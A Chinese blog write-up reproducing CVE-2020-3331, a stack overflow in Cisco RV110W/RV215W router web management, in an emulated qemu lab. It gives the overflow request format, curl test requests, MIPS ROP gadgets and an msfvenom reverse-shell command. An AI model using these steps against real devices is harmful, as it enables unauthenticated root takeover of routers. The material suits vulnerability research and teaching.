Cisco RV110W Wireless-N VPN防火墙和Cisco RV215W Wireless-N VPN路由器基于web的管理接口中的一个漏洞,能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。此漏洞是由于基于web的管理界面对用户提供的输入数据的验证不当造成的。攻击者可以通过向目标设备发送精心制作的请求来利用这个漏洞。成功利用漏洞可以让攻击者使用root用户的特权执行任意代码。
环境搭建
搭了很久的环境,一度想放弃。但是前前后后搭了3天,总算成了
docker搭建
首先之前已经有人搭建过一个docker
环境。我们拉下来再自己改造就行了:
1 | docker pull vulshare/cve-2020-3331:lxonz |
这个docker
是在docker
里用系统模式开启了 qemu
,在qemu
里搭建了 httpd
服务,而且已经把 nvram
給hook
掉了。但是这个唯一的坏处就是没有开启qemu
的 gdb
调试。
然后,最开始的想法是修改docker
里的 qemu
启动文件,把gdb
调试开启了,再映射出来。但是这样docker
后面直接崩掉了。改了很久,都不知道什么原因。
后面尝试在docker
里直接下载 gdb-multiarch
,然后在docker
里直接调试他。这样只需要改改qemu
启动文件,加上 -s
即可。但是这个的问题是极慢,因为 gdb-multiarch
相当于是对 qemu
整个系统进行了调试。体验太差了。
后面又尝试在 qemu
里系统模式启动了 httpd
后,再用 gdbserver
转发到 docker
里,然后在docker
里再调试 httpd
。这样做,总算是能够调试了。(具体方法可以参考我之前 mips-pwn环境搭建
)
bindiff
具体安装步骤,可以参考这篇文章。有一些问题,在此说明一下自己踩的坑:
- 选择
bindiff5
和IDA7.2
,这两个版本好像是不会出问题的; IDA
打开程序进行分析,退出保存数据时需要选择default
,如果选择了store
打开时会需要权限。
bindiff
可以根据控制流图对比,其中不同颜色的基本块表示不同意义:
- 绿色:相同的基本块
- 黄色:修改的基本块
- 红色:删掉的基本块
- 灰色:新加的基本块
所以,我们重点关注黄色基本块和红色基本块。
从图中可以看到 新版本删掉了 sscanf
函数,改为了 strncpy
。sscanf
函数是一个格式化函数,可能存在溢出。
漏洞分析
1 | undefined4 guest_logout_cgi(undefined4 param_1) |
上图中的代码,简单来说主要分以下几步:
- 调用
get_cgi()
函数获取cmac\cip\submit_button
三个参数 - 分别对三个参数进行检查,不能含有
\n
、\r
和 空格,以及三个参数的前后关系为cmac
`cip\
submit_button` - 检查
submit_button
中是否有status_guestnet.asp
,若没有检测cmac
中是否有http_client_mac
或cip
中是否有http_client_ip
- 调用
sscanf
函数,将submit_button
参数 按照%[^;];%*[^=]=%[^\n]
正则表达式,赋值给argv1
和argv2
数组 - 这里正则中
%[^;]
表示将;
前的字符赋值给argv1
,;%*[^=]
表示将;
后和=
前的字符都过滤掉。=%[^\n]
表示将=
和\n
的字符赋值给argv2
。两个数组的长度为0x40
和0x44
,但是却没有对submit_button
参数的长度进行检查
所以,这里存在栈溢出漏洞。而且由于 argv2
参数紧邻着 rbp
,所以其溢出后,对该函数后续执行到 ret
地址前影响不大。
然后,需要分析一下哪个页面才能调用该函数。
CGI服务
首先感谢 N1K0
hxd,给我讲了很多IOT
的基础知识。
如果一个 IOT
设备使用了 httpd
服务,那么由于 httpd
本身是开源的,所以按照开源协议,该设备的httpd
部分也是需要开源的。这里如果想要搜索思科的开源代码,可以从此处搜索。但是,这里是不能直接得到源码的,因为最新的需要申请,现在只能下到 2015
的源码,对我们目前分析作用不大。
然后,大概了解了一下 httpd
结构,这里没有能直接找到分析思科httpd
结构的,但是找到一篇类似的,感觉有一些收获。通常httpd
程序会现解析请求头中的请求类型,如果为 CGI
请求,会调用 init_cgi
来 execve
相关的 cgi
程序。
CGI
即 Common Gateway Interface
,即 通用网关接口。CGI
程序通常部署于服务端,当客户端使用 Web
服务(例如 http)调用服务端程序时,CGI
程序即可被调用。CGI
程序可以理解为 协议翻译机
,能够实现客户端和服务端使用不同的协议。当 web
服务器接受用户的 http
请求时,web
服务器在调用相应的 cgi
程序之前,会把各类 http
请求中的信息以 环境变量
的形式写入 os
。CGI
程序通过获取环境变量来获得用户输入。
这里,我们能从 httpd
中找到 init_cgi
程序,该函数的作用就是匹配客户端请求的 cgi
服务,然后再通过 set_cgi
去调用相应的 cgi
服务。这里就用到了一个 全局函数表,里面存储了各类 cgi
程序的地址。
1 | void set_cgi(ACTION param_1,ENTRY *param_2) |
1 | got:004D6FD0 off_4D6FD0: .word 0 # DATA XREF: LOAD:0040185C↑o |
在这里面,我们能够发现 guest_logout_cgi
,所以这里初步确定想要触发该函数,需要调用 guest_logout.cgi
页面。
最终,总结一下该漏洞要触发的要求:
- 访问
guest_logout.cgi
页面 - 依次布置
cmac
、cip
和submit_button
三个参数 - 其中
cmac
需要 符合mac
地址格式,cip
需要符合ipv4
格式,submit_button
需要包含status_guestnet.asp
字符 - 布置溢出格式如:
aaaa;=bbbb=;c*0x44+rop
。
漏洞调试
发包测试
1 | curl -k -v http://127.0.0.1:32769/guest_logout.cgi |
从结果中,可以看到我们是能够连接到 guest_logout.cgi
页面,程序给了我们一个正常的响应。
调试
确定偏移
我们发送报文如下:
1 | curl -ki -X POST https://127.0.0.1:800/guest_logout.cgi -d"cmac=00:01:02:03:04:05"\ |
在gdb
中可以看到 PC
指令变为了 BBBB
,所以可以确定存在栈溢出。而且这里溢出的字节长度为 85。
1 | S7 0x61616161 ('aaaa') |
确定溢出长度,可以使用 pwntools
的脚本:
1 | from pwn import * |
发包得到pc
中此时的字符,然后使用 cyclic_find
函数,即可得到溢出长度:
1 | from pwn import * |
gadget
确定溢出长度后,就需要准备 gadget
。这里注意 gadget
中不能带有 \x00
。由于 sscanf
是格式化函数,所以存在 00
截断。如果我们使用 httpd
自带的 gadget
,虽然其地址不变,但是其高位必然会存在截断,所以舍弃。
1 | Python>mipsrop.system() |
这里有一个背景知识,即虽然 httpd
的动态加载库 libc
是开启了 aslr
,但是对于思科的这款设备,其 httpd
加载的 libc
基址一直是 0x2af98000
,无论重启还是升级,其基址都不会改变。在 CVE-2019-1633
中也是一样。但是我自己在我的环境里调试时发现,尽管qemu
启动时关掉了 aslr
,但是 libc
的基址是会改变的。我查看了 randomize_ca_space
变量为2,也就是在qemu
启动时关掉 aslr
并没起作用。所以,这一点就和真机调试有很大区别,真机调试就不用考虑 aslr
的问题。 这里,我需要先获取基址如下:
1 | cat /proc/sys/kernel/randomize_va_space |
1 | root@debian-mipsel:~ |
而且从上面还发现一个很重要的信息,即 Stack
是没有开启 NX
保护的。那么,这里我们的 gadget
就可以从 libc
里寻找,然后跳转到栈上执行 shellcode。
1 | .text:00431B34 lw $ra, 0xE8+var_4($sp) |
这里 guest_logout_cgi
函数最后退出时,寄存器布置如上所示。我们重点关注 返回地址 $ra
位于 sp+0xe4
处, 然后其他的 $s0-$s7
也是从栈上读取。所以我们可以在栈上布置好地址,然后返回时会赋值给 $s0-$s7
的寄存器,我门只需要找的rop
跳转到 $s0-$s7
寄存器即可控制程序执行流。这里如下的都是可用的 gadget
:
1 | Python>mipsrop.system() |
我选了其中的两个:
1 | .text:000257A0 addiu $a0, $sp, 0x58+var_40 |
在栈上 $sp+0xb8
的位置布置上 0x3d050
的地址,将返回地址设置为 0x257a0
,在 返回地址 +0x18
位置布置 shellcode。
此处的 shellcode
也必须不包含 \x00
,所以我直接用网上师傅推荐的一个 mips
的shellcode
了。
1 | #close stdin(0) |
然后,可以使用 msf
生成一个合适的 shellcode
,这里如下所示:
1 | msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=127.0.0.1 LPORT=666 --arch mipsle --platform linux -f py -o shellcode.py |
ROP
当然这里也可以直接使用 ROP
,从 libc
中找到 system
地址,在 $s0
处布置 system
地址,在返回地址 +0x18
处布置 shell
字符。最后的 ROP
如下:
EXP
1 | from pwn import * |
后记
这个洞利用不是很难,但是在没有真机的情况下,搭建仿真环境真是花了很多时间。虽然网上现在有几个可以直接用的docker
,但是想要调试,还是得自己花功夫改。最后实现的效果是在 docker
里能够攻击 qemu
仿真的 httpd
,直接使用虚拟机是能够连接到 docker
的,因为经过了两层的端口转发,但是反弹shell
时却有问题,qemu
无法连接虚拟机。其次是调试的时候,没有实现能够看到 完整的汇编代码,gdb-multiarch
只能看到内存和寄存器的值,像一个没有 插件的 原始gdb
。最后,辛辛苦苦搭的docker
因为修改了启动配置,现在直接启动就崩掉了,难顶:)
参考
思科RV110W CVE-2020-3331漏洞调试与iot靶场搭建
Tenda漏洞环境搭建与复现(CVE-2020-10987)
思科路由器 RV110W CVE-2020-3331 漏洞复现
- 本文作者: A1ex
- 本文链接: http://yoursite.com/2021/04/05/CVE-2020-3331Cisco路由器栈溢出调试/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!